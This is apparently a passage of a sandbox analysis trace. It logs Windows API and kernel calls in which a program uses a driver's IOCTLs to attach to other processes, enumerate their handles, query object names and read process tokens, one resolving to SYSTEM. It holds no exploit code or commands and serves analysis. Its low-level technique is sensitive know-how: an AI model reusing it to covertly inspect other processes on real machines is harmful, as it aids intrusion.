[0133.366] ObOpenObjectByPointer (in: Object=0xfffffa8002144060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.366] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x12 [0133.366] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.366] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.366] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.366] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.366] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.379] CloseHandle (hObject=0xc8) returned 1 [0133.379] CloseHandle (hObject=0xc0) returned 1 [0133.379] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.379] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.379] PsAcquireProcessExitSynchronization () returned 0x0 [0133.379] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0) [0133.379] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8001f98070, HandleInformation=0x0) returned 0x0 [0133.379] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.379] PsReleaseProcessExitSynchronization () returned 0x2 [0133.379] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0133.379] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.379] ObfDereferenceObject (Object=0xfffffa8001f98070) returned 0x1 [0133.379] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.379] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.379] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.379] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x6e, lpOverlapped=0x0) returned 1 [0133.379] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.379] PsAcquireProcessExitSynchronization () returned 0x0 [0133.379] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0) [0133.379] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002150790, HandleInformation=0x0) returned 0x0 [0133.379] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.379] PsReleaseProcessExitSynchronization () returned 0x2 [0133.379] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0133.379] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.379] ObfDereferenceObject (Object=0xfffffa8002150790) returned 0x1 [0133.379] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.379] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.380] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.380] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.380] PsAcquireProcessExitSynchronization () returned 0x0 [0133.380] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0) [0133.380] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.380] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.380] PsReleaseProcessExitSynchronization () returned 0x2 [0133.380] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0133.380] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.380] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.380] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.380] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.380] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.380] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.380] PsAcquireProcessExitSynchronization () returned 0x0 [0133.380] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0) [0133.380] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002176f20, HandleInformation=0x0) returned 0x0 [0133.380] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.380] PsReleaseProcessExitSynchronization () returned 0x2 [0133.380] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0133.380] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.380] ObfDereferenceObject (Object=0xfffffa8002176f20) returned 0x1 [0133.380] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.380] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.380] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.380] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.380] PsLookupProcessByProcessId (in: ProcessId=0xb5c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.380] PsAcquireProcessExitSynchronization () returned 0x0 [0133.380] KeStackAttachProcess (in: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002144060, ApcState=0xfffff880050005d0) [0133.380] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001cbd3d0, HandleInformation=0x0) returned 0x0 [0133.381] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.381] PsReleaseProcessExitSynchronization () returned 0x2 [0133.381] ObfDereferenceObject (Object=0xfffffa8002144060) returned 0x10 [0133.381] ObQueryNameString (in: Object=0xfffff8a001cbd3d0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.381] ObfDereferenceObject (Object=0xfffff8a001cbd3d0) returned 0x1 [0133.381] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.381] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.381] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb7c) returned 0xc0 [0133.381] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.381] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800217b060, HandleInformation=0x0) returned 0x0 [0133.381] ObOpenObjectByPointer (in: Object=0xfffffa800217b060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.381] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x12 [0133.381] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.381] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.381] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.381] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.381] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.382] CloseHandle (hObject=0xc8) returned 1 [0133.382] CloseHandle (hObject=0xc0) returned 1 [0133.383] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.383] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.383] PsAcquireProcessExitSynchronization () returned 0x0 [0133.383] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0) [0133.383] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003568a20, HandleInformation=0x0) returned 0x0 [0133.383] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.383] PsReleaseProcessExitSynchronization () returned 0x2 [0133.383] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0133.383] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.383] ObfDereferenceObject (Object=0xfffffa8003568a20) returned 0x1 [0133.383] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.383] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.383] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0133.383] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.383] PsAcquireProcessExitSynchronization () returned 0x0 [0133.383] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0) [0133.383] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80026f13a0, HandleInformation=0x0) returned 0x0 [0133.383] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.383] PsReleaseProcessExitSynchronization () returned 0x2 [0133.383] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0133.383] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.383] ObfDereferenceObject (Object=0xfffffa80026f13a0) returned 0x1 [0133.383] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.383] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.383] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.383] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.383] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.384] PsAcquireProcessExitSynchronization () returned 0x0 [0133.384] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0) [0133.384] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.384] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.384] PsReleaseProcessExitSynchronization () returned 0x2 [0133.384] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0133.384] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.384] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.384] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.384] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.384] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.384] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0133.384] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.384] PsAcquireProcessExitSynchronization () returned 0x0 [0133.384] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0) [0133.384] ObReferenceObjectByHandle (in: Handle=0x7c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003473110, HandleInformation=0x0) returned 0x0 [0133.384] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.384] PsReleaseProcessExitSynchronization () returned 0x2 [0133.384] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0133.384] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0133.384] ObfDereferenceObject (Object=0xfffffa8003473110) returned 0x1 [0133.384] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.384] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.384] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.384] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.384] PsLookupProcessByProcessId (in: ProcessId=0xb7c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.384] PsAcquireProcessExitSynchronization () returned 0x0 [0133.384] KeStackAttachProcess (in: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800217b060, ApcState=0xfffff880050005d0) [0133.384] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0001f58e0, HandleInformation=0x0) returned 0x0 [0133.384] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.384] PsReleaseProcessExitSynchronization () returned 0x2 [0133.384] ObfDereferenceObject (Object=0xfffffa800217b060) returned 0x10 [0133.384] ObQueryNameString (in: Object=0xfffff8a0001f58e0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.384] ObfDereferenceObject (Object=0xfffff8a0001f58e0) returned 0x1 [0133.384] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.385] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.385] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0133.385] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.385] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80022bd7b0, HandleInformation=0x0) returned 0x0 [0133.385] ObOpenObjectByPointer (in: Object=0xfffffa80022bd7b0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800008d8) returned 0x0 [0133.385] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x3a [0133.385] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800008d8, DesiredAccess=0x8, TokenHandle=0xfffffa8003307340 | out: TokenHandle=0xfffffa8003307340*=0xc8) returned 0x0 [0133.385] ZwClose (Handle=0xffffffff800008d8) returned 0x0 [0133.385] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.385] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.385] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.386] CloseHandle (hObject=0xc8) returned 1 [0133.386] CloseHandle (hObject=0xc0) returned 1 [0133.386] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.386] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0133.386] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.386] PsAcquireProcessExitSynchronization () returned 0x0 [0133.387] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.387] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021662c0, HandleInformation=0x0) returned 0x0 [0133.387] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.387] PsReleaseProcessExitSynchronization () returned 0x2 [0133.387] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.387] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000508) returned 0x0 [0133.387] ObfDereferenceObject (Object=0xfffffa80021662c0) returned 0x1 [0133.387] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.387] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.387] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.387] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0133.387] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.387] PsAcquireProcessExitSynchronization () returned 0x0 [0133.387] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0133.387] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80022c2840, HandleInformation=0x0) returned 0x0 [0133.387] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.387] PsReleaseProcessExitSynchronization () returned 0x2 [0133.387] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0133.387] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.387] ObfDereferenceObject (Object=0xfffffa80022c2840) returned 0x1 [0133.387] IofCompleteRequest (Irp=0xfffffa8003474a50, PriorityBoost=0) [0133.387] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.387] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.387] 